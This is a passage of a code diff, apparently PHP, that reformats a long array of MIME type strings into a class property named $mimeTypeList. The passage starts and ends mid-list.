'application/vnd.ds-keypoint'=>1, 'application/vnd.dvb.ait'=>1, 'application/vnd.dvb.service'=>1, 'application/vnd.dynageo'=>1, 'application/vnd.ecowin.chart'=>1, - 'application/vnd.enliven'=>1, 'application/vnd.epson.esf'=>1, 'application/vnd.epson.msf'=>1, 'application/vnd.epson.quickanime'=>1, 'application/vnd.epson.salt'=>1, - 'application/vnd.epson.ssf'=>1, 'application/vnd.eszigno3+xml'=>1, 'application/vnd.eszigno3+xml'=>1, 'application/vnd.ezpix-album'=>1, 'application/vnd.ezpix-package'=>1, - 'application/vnd.fdf'=>1, 'application/vnd.fdsn.mseed'=>1, 'application/vnd.fdsn.seed'=>1, 'application/vnd.fdsn.seed'=>1, 'application/vnd.flographit'=>1, - 'application/vnd.fluxtime.clip'=>1, 'application/vnd.framemaker'=>1, 'application/vnd.framemaker'=>1, 'application/vnd.framemaker'=>1, 'application/vnd.framemaker'=>1, - 'application/vnd.frogans.fnc'=>1, 'application/vnd.frogans.ltf'=>1, 'application/vnd.fsc.weblaunch'=>1, 'application/vnd.fujitsu.oasys'=>1, - 'application/vnd.fujitsu.oasys2'=>1, 'application/vnd.fujitsu.oasys3'=>1, 'application/vnd.fujitsu.oasysgp'=>1, 'application/vnd.fujitsu.oasysprs'=>1, - 'application/vnd.fujixerox.ddd'=>1, 'application/vnd.fujixerox.docuworks'=>1, 'application/vnd.fujixerox.docuworks.binder'=>1, 'application/vnd.fuzzysheet'=>1, - 'application/vnd.genomatix.tuxedo'=>1, 'application/vnd.geogebra.file'=>1, 'application/vnd.geogebra.tool'=>1, 'application/vnd.geometry-explorer'=>1, - 'application/vnd.geometry-explorer'=>1, 'application/vnd.geonext'=>1, 'application/vnd.geoplan'=>1, 'application/vnd.geospace'=>1, 'application/vnd.gmx'=>1, - 'application/vnd.google-earth.kml+xml'=>1, 'application/vnd.google-earth.kmz'=>1, 'application/vnd.grafeq'=>1, 'application/vnd.grafeq'=>1, - 'application/vnd.groove-account'=>1, 'application/vnd.groove-help'=>1, 'application/vnd.groove-identity-message'=>1, 'application/vnd.groove-injector'=>1, - 'application/vnd.groove-tool-message'=>1, 'application/vnd.groove-tool-template'=>1, 'application/vnd.groove-vcard'=>1, 'application/vnd.hal+xml'=>1, - 'application/vnd.handheld-entertainment+xml'=>1, 'application/vnd.hbci'=>1, 'application/vnd.hhe.lesson-player'=>1, 'application/vnd.hp-hpgl'=>1, - 'application/vnd.hp-hpid'=>1, 'application/vnd.hp-hps'=>1, 'application/vnd.hp-jlyt'=>1, 'application/vnd.hp-pcl'=>1, 'application/vnd.hp-pclxl'=>1, - 'application/vnd.hydrostatix.sof-data'=>1, 'application/vnd.ibm.minipay'=>1, 'application/vnd.ibm.modcap'=>1, 'application/vnd.ibm.modcap'=>1, 'application/vnd.ibm.modcap'=>1, - 'application/vnd.ibm.rights-management'=>1, 'application/vnd.ibm.secure-container'=>1, 'application/vnd.iccprofile'=>1, 'application/vnd.iccprofile'=>1, - 'application/vnd.igloader'=>1, 'application/vnd.immervision-ivp'=>1, 'application/vnd.immervision-ivu'=>1, 'application/vnd.insors.igm'=>1, 'application/vnd.intercon.formnet'=>1, - 'application/vnd.intercon.formnet'=>1, 'application/vnd.intergeo'=>1, 'application/vnd.intu.qbo'=>1, 'application/vnd.intu.qfx'=>1, 'application/vnd.ipunplugged.rcprofile'=>1, - 'application/vnd.irepository.package+xml'=>1, 'application/vnd.is-xpr'=>1, 'application/vnd.isac.fcs'=>1, 'application/vnd.jam'=>1, 'application/vnd.jcp.javame.midlet-rms'=>1, - 'application/vnd.jisp'=>1, 'application/vnd.joost.joda-archive'=>1, 'application/vnd.kahootz'=>1, 'application/vnd.kahootz'=>1, 'application/vnd.kde.karbon'=>1, - 'application/vnd.kde.kchart'=>1, 'application/vnd.kde.kformula'=>1, 'application/vnd.kde.kivio'=>1, 'application/vnd.kde.kontour'=>1, 'application/vnd.kde.kpresenter'=>1, - 'application/vnd.kde.kpresenter'=>1, 'application/vnd.kde.kspread'=>1, 'application/vnd.kde.kword'=>1, 'application/vnd.kde.kword'=>1, 'application/vnd.kenameaapp'=>1, - 'application/vnd.kidspiration'=>1, 'application/vnd.kinar'=>1, 'application/vnd.kinar'=>1, 'application/vnd.koan'=>1, 'application/vnd.koan'=>1, 'application/vnd.koan'=>1, - 'application/vnd.koan'=>1, 'application/vnd.kodak-descriptor'=>1, 'application/vnd.las.las+xml'=>1, 'application/vnd.llamagraphics.life-balance.desktop'=>1, - 'application/vnd.llamagraphics.life-balance.exchange+xml'=>1, 'application/vnd.lotus-1-2-3'=>1, 'application/vnd.lotus-approach'=>1, 'application/vnd.lotus-freelance'=>1, - 'application/vnd.lotus-notes'=>1, 'application/vnd.lotus-organizer'=>1, 'application/vnd.lotus-screencam'=>1, 'application/vnd.lotus-wordpro'=>1, - 'application/vnd.macports.portpkg'=>1, 'application/vnd.mcd'=>1, 'application/vnd.medcalcdata'=>1, 'application/vnd.mediastation.cdkey'=>1, 'application/vnd.mfer'=>1, - 'application/vnd.mfmp'=>1, 'application/vnd.micrografx.flo'=>1, 'application/vnd.micrografx.igx'=>1, 'application/vnd.mif'=>1, 'application/vnd.mobius.daf'=>1, - 'application/vnd.mobius.dis'=>1, 'application/vnd.mobius.mbk'=>1, 'application/vnd.mobius.mqy'=>1, 'application/vnd.mobius.msl'=>1, 'application/vnd.mobius.plc'=>1, - 'application/vnd.mobius.txf'=>1, 'application/vnd.mophun.application'=>1, 'application/vnd.mophun.certificate'=>1, 'application/vnd.mozilla.xul+xml'=>1, - 'application/vnd.ms-artgalry'=>1, 'application/vnd.ms-cab-compressed'=>1, 'application/vnd.ms-excel'=>1, 'application/vnd.ms-excel'=>1, 'application/vnd.ms-excel'=>1, - 'application/vnd.ms-excel'=>1, 'application/vnd.ms-excel'=>1, 'application/vnd.ms-excel'=>1, 'application/vnd.ms-excel.addin.macroenabled.12'=>1, - 'application/vnd.ms-excel.sheet.binary.macroenabled.12'=>1, 'application/vnd.ms-excel.sheet.macroenabled.12'=>1, 'application/vnd.ms-excel.template.macroenabled.12'=>1, - 'application/vnd.ms-fontobject'=>1, 'application/vnd.ms-htmlhelp'=>1, 'application/vnd.ms-ims'=>1, 'application/vnd.ms-lrm'=>1, 'application/vnd.ms-officetheme'=>1, - 'application/vnd.ms-pki.seccat'=>1, 'application/vnd.ms-pki.stl'=>1, 'application/vnd.ms-powerpoint'=>1, 'application/vnd.ms-powerpoint'=>1, - 'application/vnd.ms-powerpoint'=>1, 'application/vnd.ms-powerpoint.addin.macroenabled.12'=>1, 'application/vnd.ms-powerpoint.presentation.macroenabled.12'=>1, - 'application/vnd.ms-powerpoint.slide.macroenabled.12'=>1, 'application/vnd.ms-powerpoint.slideshow.macroenabled.12'=>1, - 'application/vnd.ms-powerpoint.template.macroenabled.12'=>1, 'application/vnd.ms-project'=>1, 'application/vnd.ms-project'=>1, - 'application/vnd.ms-word.document.macroenabled.12'=>1, 'application/vnd.ms-word.template.macroenabled.12'=>1, 'application/vnd.ms-works'=>1, - 'application/vnd.ms-works'=>1, 'application/vnd.ms-works'=>1, 'application/vnd.ms-works'=>1, 'application/vnd.ms-wpl'=>1, 'application/vnd.ms-xpsdocument'=>1, - 'application/vnd.mseq'=>1, 'application/vnd.musician'=>1, 'application/vnd.muvee.style'=>1, 'application/vnd.mynfc'=>1, 'application/vnd.neurolanguage.nlu'=>1, - 'application/vnd.nitf'=>1, 'application/vnd.nitf'=>1, 'application/vnd.noblenet-directory'=>1, 'application/vnd.noblenet-sealer'=>1, 'application/vnd.noblenet-web'=>1, - 'application/vnd.nokia.n-gage.data'=>1, 'application/vnd.nokia.n-gage.symbian.install'=>1, 'application/vnd.nokia.radio-preset'=>1, 'application/vnd.nokia.radio-presets'=>1, - 'application/vnd.novadigm.edm'=>1, 'application/vnd.novadigm.edx'=>1, 'application/vnd.novadigm.ext'=>1, 'application/vnd.oasis.opendocument.chart'=>1, - 'application/vnd.oasis.opendocument.chart-template'=>1, 'application/vnd.oasis.opendocument.database'=>1, 'application/vnd.oasis.opendocument.formula'=>1, - 'application/vnd.oasis.opendocument.formula-template'=>1, 'application/vnd.oasis.opendocument.graphics'=>1, 'application/vnd.oasis.opendocument.graphics-template'=>1, - 'application/vnd.oasis.opendocument.image'=>1, 'application/vnd.oasis.opendocument.image-template'=>1, 'application/vnd.oasis.opendocument.presentation'=>1, - 'application/vnd.oasis.opendocument.presentation-template'=>1, 'application/vnd.oasis.opendocument.spreadsheet'=>1, 'application/vnd.oasis.opendocument.spreadsheet-template'=>1, - 'application/vnd.oasis.opendocument.text'=>1, 'application/vnd.oasis.opendocument.text-master'=>1, 'application/vnd.oasis.opendocument.text-template'=>1, - 'application/vnd.oasis.opendocument.text-web'=>1, 'application/vnd.olpc-sugar'=>1, 'application/vnd.oma.dd2+xml'=>1, 'application/vnd.openofficeorg.extension'=>1, - 'application/vnd.openxmlformats-officedocument.presentationml.presentation'=>1, 'application/vnd.openxmlformats-officedocument.presentationml.slide'=>1, - 'application/vnd.openxmlformats-officedocument.presentationml.slideshow'=>1, 'application/vnd.openxmlformats-officedocument.presentationml.template'=>1, - 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'=>1, 'application/vnd.openxmlformats-officedocument.spreadsheetml.template'=>1, - 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'=>1, 'application/vnd.openxmlformats-officedocument.wordprocessingml.template'=>1, - 'application/vnd.osgeo.mapguide.package'=>1, 'application/vnd.osgi.dp'=>1, 'application/vnd.osgi.subsystem'=>1, 'application/vnd.palm'=>1, 'application/vnd.palm'=>1, - 'application/vnd.palm'=>1, 'application/vnd.pawaafile'=>1, 'application/vnd.pg.format'=>1, 'application/vnd.pg.osasli'=>1, 'application/vnd.picsel'=>1, 'application/vnd.pmi.widget'=>1, - 'application/vnd.pocketlearn'=>1, 'application/vnd.powerbuilder6'=>1, 'application/vnd.previewsystems.box'=>1, 'application/vnd.proteus.magazine'=>1, - 'application/vnd.publishare-delta-tree'=>1, 'application/vnd.pvi.ptid1'=>1, 'application/vnd.quark.quarkxpress'=>1, 'application/vnd.quark.quarkxpress'=>1, - 'application/vnd.quark.quarkxpress'=>1, 'application/vnd.quark.quarkxpress'=>1, 'application/vnd.quark.quarkxpress'=>1, 'application/vnd.quark.quarkxpress'=>1, - 'application/vnd.realvnc.bed'=>1, 'application/vnd.recordare.musicxml'=>1, 'application/vnd.recordare.musicxml+xml'=>1, 'application/vnd.rig.cryptonote'=>1, - 'application/vnd.rim.cod'=>1, 'application/vnd.rn-realmedia'=>1, 'application/vnd.rn-realmedia-vbr'=>1, 'application/vnd.route66.link66+xml'=>1, 'application/vnd.sailingtracker.track'=>1, - 'application/vnd.seemail'=>1, 'application/vnd.sema'=>1, 'application/vnd.semd'=>1, 'application/vnd.semf'=>1, 'application/vnd.shana.informed.formdata'=>1, - 'application/vnd.shana.informed.formtemplate'=>1, 'application/vnd.shana.informed.interchange'=>1, 'application/vnd.shana.informed.package'=>1, 'application/vnd.simtech-mindmapper'=>1, - 'application/vnd.simtech-mindmapper'=>1, 'application/vnd.smaf'=>1, 'application/vnd.smart.teacher'=>1, 'application/vnd.solent.sdkm+xml'=>1, 'application/vnd.solent.sdkm+xml'=>1, - 'application/vnd.spotfire.dxp'=>1, 'application/vnd.spotfire.sfs'=>1, 'application/vnd.stardivision.calc'=>1, 'application/vnd.stardivision.draw'=>1, - 'application/vnd.stardivision.impress'=>1, 'application/vnd.stardivision.math'=>1, 'application/vnd.stardivision.writer'=>1, 'application/vnd.stardivision.writer'=>1, - 'application/vnd.stardivision.writer-global'=>1, 'application/vnd.stepmania.package'=>1, 'application/vnd.stepmania.stepchart'=>1, 'application/vnd.sun.xml.calc'=>1, - 'application/vnd.sun.xml.calc.template'=>1, 'application/vnd.sun.xml.draw'=>1, 'application/vnd.sun.xml.draw.template'=>1, 'application/vnd.sun.xml.impress'=>1, - 'application/vnd.sun.xml.impress.template'=>1, 'application/vnd.sun.xml.math'=>1, 'application/vnd.sun.xml.writer'=>1, 'application/vnd.sun.xml.writer.global'=>1, - 'application/vnd.sun.xml.writer.template'=>1, 'application/vnd.sus-calendar'=>1, 'application/vnd.sus-calendar'=>1, 'application/vnd.svd'=>1, 'application/vnd.symbian.install'=>1, - 'application/vnd.symbian.install'=>1, 'application/vnd.syncml+xml'=>1, 'application/vnd.syncml.dm+wbxml'=>1, 'application/vnd.syncml.dm+xml'=>1, - 'application/vnd.tao.intent-module-archive'=>1, 'application/vnd.tcpdump.pcap'=>1, 'application/vnd.tcpdump.pcap'=>1, 'application/vnd.tcpdump.pcap'=>1, - 'application/vnd.tmobile-livetv'=>1, 'application/vnd.trid.tpt'=>1, 'application/vnd.triscape.mxs'=>1, 'application/vnd.trueapp'=>1, 'application/vnd.ufdl'=>1, 'application/vnd.ufdl'=>1, - 'application/vnd.uiq.theme'=>1, 'application/vnd.umajin'=>1, 'application/vnd.unity'=>1, 'application/vnd.uoml+xml'=>1, 'application/vnd.vcx'=>1, 'application/vnd.visio'=>1, - 'application/vnd.visio'=>1, 'application/vnd.visio'=>1, 'application/vnd.visio'=>1, 'application/vnd.visionary'=>1, 'application/vnd.vsf'=>1, 'application/vnd.wap.wbxml'=>1, - 'application/vnd.wap.wmlc'=>1, 'application/vnd.wap.wmlscriptc'=>1, 'application/vnd.webturbo'=>1, 'application/vnd.wolfram.player'=>1, 'application/vnd.wordperfect'=>1, - 'application/vnd.wqd'=>1, 'application/vnd.wt.stf'=>1, 'application/vnd.xara'=>1, 'application/vnd.xfdl'=>1, 'application/vnd.yamaha.hv-dic'=>1, 'application/vnd.yamaha.hv-script'=>1, - 'application/vnd.yamaha.hv-voice'=>1, 'application/vnd.yamaha.openscoreformat'=>1, 'application/vnd.yamaha.openscoreformat.osfpvg+xml'=>1, 'application/vnd.yamaha.smaf-audio'=>1, - 'application/vnd.yamaha.smaf-phrase'=>1, 'application/vnd.yellowriver-custom-menu'=>1, 'application/vnd.zul'=>1, 'application/vnd.zul'=>1, 'application/vnd.zzazz.deck+xml'=>1, - 'application/voicexml+xml'=>1, 'application/widget'=>1, 'application/winhlp'=>1, 'application/wsdl+xml'=>1, 'application/wspolicy+xml'=>1, 'application/x-7z-compressed'=>1, - 'application/x-abiword'=>1, 'application/x-ace-compressed'=>1, 'application/x-apple-diskimage'=>1, 'application/x-authorware-bin'=>1, 'application/x-authorware-bin'=>1, - 'application/x-authorware-bin'=>1, 'application/x-authorware-bin'=>1, 'application/x-authorware-map'=>1, 'application/x-authorware-seg'=>1, 'application/x-bcpio'=>1, - 'application/x-bittorrent'=>1, 'application/x-blorb'=>1, 'application/x-blorb'=>1, 'application/x-bzip'=>1, 'application/x-bzip2'=>1, 'application/x-bzip2'=>1, 'application/x-cbr'=>1, - 'application/x-cbr'=>1, 'application/x-cbr'=>1, 'application/x-cbr'=>1, 'application/x-cbr'=>1, 'application/x-cdlink'=>1, 'application/x-cfs-compressed'=>1, 'application/x-chat'=>1, - 'application/x-chess-pgn'=>1, 'application/x-conference'=>1, 'application/x-cpio'=>1, 'application/x-csh'=>1, 'application/x-debian-package'=>1, 'application/x-debian-package'=>1, - 'application/x-dgc-compressed'=>1, 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-director'=>1, - 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-director'=>1, 'application/x-doom'=>1, 'application/x-dtbncx+xml'=>1, - 'application/x-dtbook+xml'=>1, 'application/x-dtbresource+xml'=>1, 'application/x-dvi'=>1, 'application/x-envoy'=>1, 'application/x-eva'=>1, 'application/x-font-bdf'=>1, - 'application/x-font-ghostscript'=>1, 'application/x-font-linux-psf'=>1, 'application/x-font-otf'=>1, 'application/x-font-pcf'=>1, 'application/x-font-snf'=>1, - 'application/x-font-ttf'=>1, 'application/x-font-ttf'=>1, 'application/x-font-type1'=>1, 'application/x-font-type1'=>1, 'application/x-font-type1'=>1, 'application/x-font-type1'=>1, - 'application/x-font-woff'=>1, 'application/x-freearc'=>1, 'application/x-futuresplash'=>1, 'application/x-gca-compressed'=>1, 'application/x-glulx'=>1, 'application/x-gnumeric'=>1, - 'application/x-gramps-xml'=>1, 'application/x-gtar'=>1, 'application/x-hdf'=>1, 'application/x-install-instructions'=>1, 'application/x-iso9660-image'=>1, - 'application/x-java-jnlp-file'=>1, 'application/x-latex'=>1, 'application/x-lzh-compressed'=>1, 'application/x-lzh-compressed'=>1, 'application/x-mie'=>1, - 'application/x-mobipocket-ebook'=>1, 'application/x-mobipocket-ebook'=>1, 'application/x-ms-application'=>1, 'application/x-ms-shortcut'=>1, 'application/x-ms-wmd'=>1, - 'application/x-ms-wmz'=>1, 'application/x-ms-xbap'=>1, 'application/x-msaccess'=>1, 'application/x-msbinder'=>1, 'application/x-mscardfile'=>1, 'application/x-msclip'=>1, - 'application/x-msdownload'=>1, 'application/x-msdownload'=>1, 'application/x-msdownload'=>1, 'application/x-msdownload'=>1, 'application/x-msdownload'=>1, 'application/x-msmediaview'=>1, - 'application/x-msmediaview'=>1, 'application/x-msmediaview'=>1, 'application/x-msmetafile'=>1, 'application/x-msmetafile'=>1, 'application/x-msmetafile'=>1, 'application/x-msmetafile'=>1, - 'application/x-msmoney'=>1, 'application/x-mspublisher'=>1, 'application/x-msschedule'=>1, 'application/x-msterminal'=>1, 'application/x-mswrite'=>1, 'application/x-netcdf'=>1, - 'application/x-netcdf'=>1, 'application/x-nzb'=>1, 'application/x-pkcs12'=>1, 'application/x-pkcs12'=>1, 'application/x-pkcs7-certificates'=>1, 'application/x-pkcs7-certificates'=>1, - 'application/x-pkcs7-certreqresp'=>1, 'application/x-rar-compressed'=>1, 'application/x-research-info-systems'=>1, 'application/x-sh'=>1, 'application/x-shar'=>1, - 'application/x-shockwave-flash'=>1, 'application/x-silverlight-app'=>1, 'application/x-silverlight-2'=>1, 'application/x-sql'=>1, 'application/x-stuffit'=>1, 'application/x-stuffitx'=>1, - 'application/x-subrip'=>1, 'application/x-sv4cpio'=>1, 'application/x-sv4crc'=>1, 'application/x-t3vm-image'=>1, 'application/x-tads'=>1, 'application/x-tar'=>1, 'application/x-tcl'=>1, - 'application/x-tex'=>1, 'application/x-tex-tfm'=>1, 'application/x-texinfo'=>1, 'application/x-texinfo'=>1, 'application/x-tgif'=>1, 'application/x-ustar'=>1, 'application/x-wais-source'=>1, - 'application/x-x509-ca-cert'=>1, 'application/x-x509-ca-cert'=>1, 'application/x-xfig'=>1, 'application/x-xliff+xml'=>1, 'application/x-xpinstall'=>1, 'application/x-xz'=>1, - 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, - 'application/x-zmachine'=>1, 'application/x-zmachine'=>1, 'application/xaml+xml'=>1, 'application/xcap-diff+xml'=>1, 'application/xenc+xml'=>1, 'application/xhtml+xml'=>1, - 'application/xhtml+xml'=>1, 'application/xml'=>1, 'application/xml'=>1, 'application/xml-dtd'=>1, 'application/xop+xml'=>1, 'application/xproc+xml'=>1, 'application/xslt+xml'=>1, - 'application/xspf+xml'=>1, 'application/xv+xml'=>1, 'application/xv+xml'=>1, 'application/xv+xml'=>1, 'application/xv+xml'=>1, 'application/yang'=>1, 'application/yin+xml'=>1, - 'application/zip'=>1, 'audio/adpcm'=>1, 'audio/basic'=>1, 'audio/basic'=>1, 'audio/midi'=>1, 'audio/midi'=>1, 'audio/midi'=>1, 'audio/midi'=>1, 'audio/mp4'=>1, 'audio/mpeg'=>1, - 'audio/mpeg'=>1, 'audio/mpeg'=>1, 'audio/mpeg'=>1, 'audio/mpeg'=>1, 'audio/mpeg'=>1, 'audio/ogg'=>1, 'audio/ogg'=>1, 'audio/ogg'=>1, 'audio/s3m'=>1, 'audio/silk'=>1, - 'audio/vnd.dece.audio'=>1, 'audio/vnd.dece.audio'=>1, 'audio/vnd.digital-winds'=>1, 'audio/vnd.dra'=>1, 'audio/vnd.dts'=>1, 'audio/vnd.dts.hd'=>1, 'audio/vnd.lucent.voice'=>1, - 'audio/vnd.ms-playready.media.pya'=>1, 'audio/vnd.nuera.ecelp4800'=>1, 'audio/vnd.nuera.ecelp7470'=>1, 'audio/vnd.nuera.ecelp9600'=>1, 'audio/vnd.rip'=>1, 'audio/webm'=>1, - 'audio/x-aac'=>1, 'audio/x-aiff'=>1, 'audio/x-aiff'=>1, 'audio/x-aiff'=>1, 'audio/x-caf'=>1, 'audio/x-flac'=>1, 'audio/x-matroska'=>1, 'audio/x-mpegurl'=>1, 'audio/x-ms-wax'=>1, - 'audio/x-ms-wma'=>1, 'audio/x-pn-realaudio'=>1, 'audio/x-pn-realaudio'=>1, 'audio/x-pn-realaudio-plugin'=>1, 'audio/x-wav'=>1, 'audio/xm'=>1, 'chemical/x-cdx'=>1, 'chemical/x-cif'=>1, - 'chemical/x-cmdf'=>1, 'chemical/x-cml'=>1, 'chemical/x-csml'=>1, 'chemical/x-xyz'=>1, 'image/bmp'=>1, 'image/cgm'=>1, 'image/g3fax'=>1, 'image/gif'=>1, 'image/ief'=>1, 'image/jpeg'=>1, - 'image/jpeg'=>1, 'image/jpeg'=>1, 'image/ktx'=>1, 'image/png'=>1, 'image/prs.btif'=>1, 'image/sgi'=>1, 'image/svg+xml'=>1, 'image/svg+xml'=>1, 'image/tiff'=>1, 'image/tiff'=>1, - 'image/vnd.adobe.photoshop'=>1, 'image/vnd.dece.graphic'=>1, 'image/vnd.dece.graphic'=>1, 'image/vnd.dece.graphic'=>1, 'image/vnd.dece.graphic'=>1, 'image/vnd.dvb.subtitle'=>1, - 'image/vnd.djvu'=>1, 'image/vnd.djvu'=>1, 'image/vnd.dwg'=>1, 'image/vnd.dxf'=>1, 'image/vnd.fastbidsheet'=>1, 'image/vnd.fpx'=>1, 'image/vnd.fst'=>1, 'image/vnd.fujixerox.edmics-mmr'=>1, - 'image/vnd.fujixerox.edmics-rlc'=>1, 'image/vnd.ms-modi'=>1, 'image/vnd.ms-photo'=>1, 'image/vnd.net-fpx'=>1, 'image/vnd.wap.wbmp'=>1, 'image/vnd.xiff'=>1, 'image/webp'=>1, - 'image/x-3ds'=>1, 'image/x-cmu-raster'=>1, 'image/x-cmx'=>1, 'image/x-freehand'=>1, 'image/x-freehand'=>1, 'image/x-freehand'=>1, 'image/x-freehand'=>1, 'image/x-freehand'=>1, - 'image/x-icon'=>1, 'image/x-mrsid-image'=>1, 'image/x-pcx'=>1, 'image/x-pict'=>1, 'image/x-pict'=>1, 'image/x-portable-anymap'=>1, 'image/x-portable-bitmap'=>1, - 'image/x-portable-graymap'=>1, 'image/x-portable-pixmap'=>1, 'image/x-rgb'=>1, 'image/x-tga'=>1, 'image/x-xbitmap'=>1, 'image/x-xpixmap'=>1, 'image/x-xwindowdump'=>1, - 'message/rfc822'=>1, 'message/rfc822'=>1, 'model/iges'=>1, 'model/iges'=>1, 'model/mesh'=>1, 'model/mesh'=>1, 'model/mesh'=>1, 'model/vnd.collada+xml'=>1, 'model/vnd.dwf'=>1, - 'model/vnd.gdl'=>1, 'model/vnd.gtw'=>1, 'model/vnd.mts'=>1, 'model/vnd.vtu'=>1, 'model/vrml'=>1, 'model/vrml'=>1, 'model/x3d+binary'=>1, 'model/x3d+binary'=>1, 'model/x3d+vrml'=>1, - 'model/x3d+vrml'=>1, 'model/x3d+xml'=>1, 'model/x3d+xml'=>1, 'video/3gpp'=>1, 'video/3gpp2'=>1, 'video/h261'=>1, 'video/h263'=>1, 'video/h264'=>1, 'video/jpeg'=>1, 'video/jpm'=>1, - 'video/jpm'=>1, 'video/mj2'=>1, 'video/mj2'=>1, 'video/mp4'=>1, 'video/mp4'=>1, 'video/mp4'=>1, 'video/mpeg'=>1, 'video/mpeg'=>1, 'video/mpeg'=>1, 'video/mpeg'=>1, 'video/mpeg'=>1, - 'video/ogg'=>1, 'video/quicktime'=>1, 'video/quicktime'=>1, 'video/vnd.dece.hd'=>1, 'video/vnd.dece.hd'=>1, 'video/vnd.dece.mobile'=>1, 'video/vnd.dece.mobile'=>1, 'video/vnd.dece.pd'=>1, - 'video/vnd.dece.pd'=>1, 'video/vnd.dece.sd'=>1, 'video/vnd.dece.sd'=>1, 'video/vnd.dece.video'=>1, 'video/vnd.dece.video'=>1, 'video/vnd.dvb.file'=>1, 'video/vnd.fvt'=>1, - 'video/vnd.mpegurl'=>1, 'video/vnd.mpegurl'=>1, 'video/vnd.ms-playready.media.pyv'=>1, 'video/vnd.uvvu.mp4'=>1, 'video/vnd.uvvu.mp4'=>1, 'video/vnd.vivo'=>1, 'video/webm'=>1, - 'video/x-f4v'=>1, 'video/x-fli'=>1, 'video/x-flv'=>1, 'video/x-m4v'=>1, 'video/x-matroska'=>1, 'video/x-matroska'=>1, 'video/x-matroska'=>1, 'video/x-mng'=>1, 'video/x-ms-asf'=>1, - 'video/x-ms-asf'=>1, 'video/x-ms-vob'=>1, 'video/x-ms-wm'=>1, 'video/x-ms-wmv'=>1, 'video/x-ms-wmx'=>1, 'video/x-ms-wvx'=>1, 'video/x-msvideo'=>1, 'video/x-sgi-movie'=>1, - 'video/x-smv'=>1, 'x-conference/x-cooltalk'=>1 + var $mimeTypeList = array('application/andrew-inset' => 1, 'application/applixware' => 1, 'application/atom+xml' => 1, 'application/atomcat+xml' => 1, 'application/atomsvc+xml' => 1, + 'application/ccxml+xml' => 1, 'application/cdmi-capability' => 1, 'application/cdmi-container' => 1, 'application/cdmi-domain' => 1, 'application/cdmi-object' => 1, + 'application/cdmi-queue' => 1, 'application/cu-seeme' => 1, 'application/davmount+xml' => 1, 'application/docbook+xml' => 1, 'application/dssc+der' => 1, 'application/dssc+xml' => 1, + 'application/ecmascript' => 1, 'application/emma+xml' => 1, 'application/epub+zip' => 1, 'application/exi' => 1, 'application/font-tdpfr' => 1, 'application/gml+xml' => 1, + 'application/gpx+xml' => 1, 'application/gxf' => 1, 'application/hyperstudio' => 1, 'application/inkml+xml' => 1, 'application/inkml+xml' => 1, 'application/ipfix' => 1, + 'application/java-archive' => 1, 'application/java-serialized-object' => 1, 'application/java-vm' => 1, 'application/javascript' => 1, 'application/json' => 1, + 'application/jsonml+json' => 1, 'application/lost+xml' => 1, 'application/mac-binhex40' => 1, 'application/mac-compactpro' => 1, 'application/mads+xml' => 1, + 'application/marc' => 1, 'application/marcxml+xml' => 1, 'application/mathematica' => 1, 'application/mathematica' => 1, 'application/mathematica' => 1, 'application/mathml+xml' => 1, + 'application/mbox' => 1, 'application/mediaservercontrol+xml' => 1, 'application/metalink+xml' => 1, 'application/metalink4+xml' => 1, 'application/mets+xml' => 1, + 'application/mods+xml' => 1, 'application/mp21' => 1, 'application/mp4' => 1, 'application/msword' => 1, 'application/mxf' => 1, 'application/octet-stream' => 1, + 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, + 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, 'application/octet-stream' => 1, + 'application/octet-stream' => 1, 'application/oda' => 1, 'application/oebps-package+xml' => 1, 'application/ogg' => 1, 'application/omdoc+xml' => 1, 'application/onenote' => 1, + 'application/onenote' => 1, 'application/onenote' => 1, 'application/onenote' => 1, 'application/oxps' => 1, 'application/patch-ops-error+xml' => 1, 'application/pdf' => 1, + 'application/pgp-encrypted' => 1, 'application/pgp-signature' => 1, 'application/pgp-signature' => 1, 'application/pics-rules' => 1, 'application/pkcs10' => 1, + 'application/pkcs7-mime' => 1, 'application/pkcs7-mime' => 1, 'application/pkcs7-signature' => 1, 'application/pkcs8' => 1, 'application/pkix-attr-cert' => 1, + 'application/pkix-cert' => 1, 'application/pkix-crl' => 1, 'application/pkix-pkipath' => 1, 'application/pkixcmp' => 1, 'application/pls+xml' => 1, + 'application/postscript' => 1, 'application/postscript' => 1, 'application/postscript' => 1, 'application/prs.cww' => 1, 'application/pskc+xml' => 1, + 'application/rdf+xml' => 1, 'application/reginfo+xml' => 1, 'application/relax-ng-compact-syntax' => 1, 'application/resource-lists+xml' => 1, + 'application/resource-lists-diff+xml' => 1, 'application/rls-services+xml' => 1, 'application/rpki-ghostbusters' => 1, 'application/rpki-manifest' => 1, + 'application/rpki-roa' => 1, 'application/rsd+xml' => 1, 'application/rss+xml' => 1, 'application/rtf' => 1, 'application/sbml+xml' => 1, 'application/scvp-cv-request' => 1, + 'application/scvp-cv-response' => 1, 'application/scvp-vp-request' => 1, 'application/scvp-vp-response' => 1, 'application/sdp' => 1, 'application/set-payment-initiation' => 1, + 'application/set-registration-initiation' => 1, 'application/shf+xml' => 1, 'application/smil+xml' => 1, 'application/smil+xml' => 1, 'application/sparql-query' => 1, + 'application/sparql-results+xml' => 1, 'application/srgs' => 1, 'application/srgs+xml' => 1, 'application/sru+xml' => 1, 'application/ssdl+xml' => 1, + 'application/ssml+xml' => 1, 'application/tei+xml' => 1, 'application/tei+xml' => 1, 'application/thraud+xml' => 1, 'application/timestamped-data' => 1, + 'application/vnd.3gpp.pic-bw-large' => 1, 'application/vnd.3gpp.pic-bw-small' => 1, 'application/vnd.3gpp.pic-bw-var' => 1, 'application/vnd.3gpp2.tcap' => 1, + 'application/vnd.3m.post-it-notes' => 1, 'application/vnd.accpac.simply.aso' => 1, 'application/vnd.accpac.simply.imp' => 1, 'application/vnd.acucobol' => 1, + 'application/vnd.acucorp' => 1, 'application/vnd.acucorp' => 1, 'application/vnd.adobe.air-application-installer-package+zip' => 1, 'application/vnd.adobe.formscentral.fcdt' => 1, + 'application/vnd.adobe.fxp' => 1, 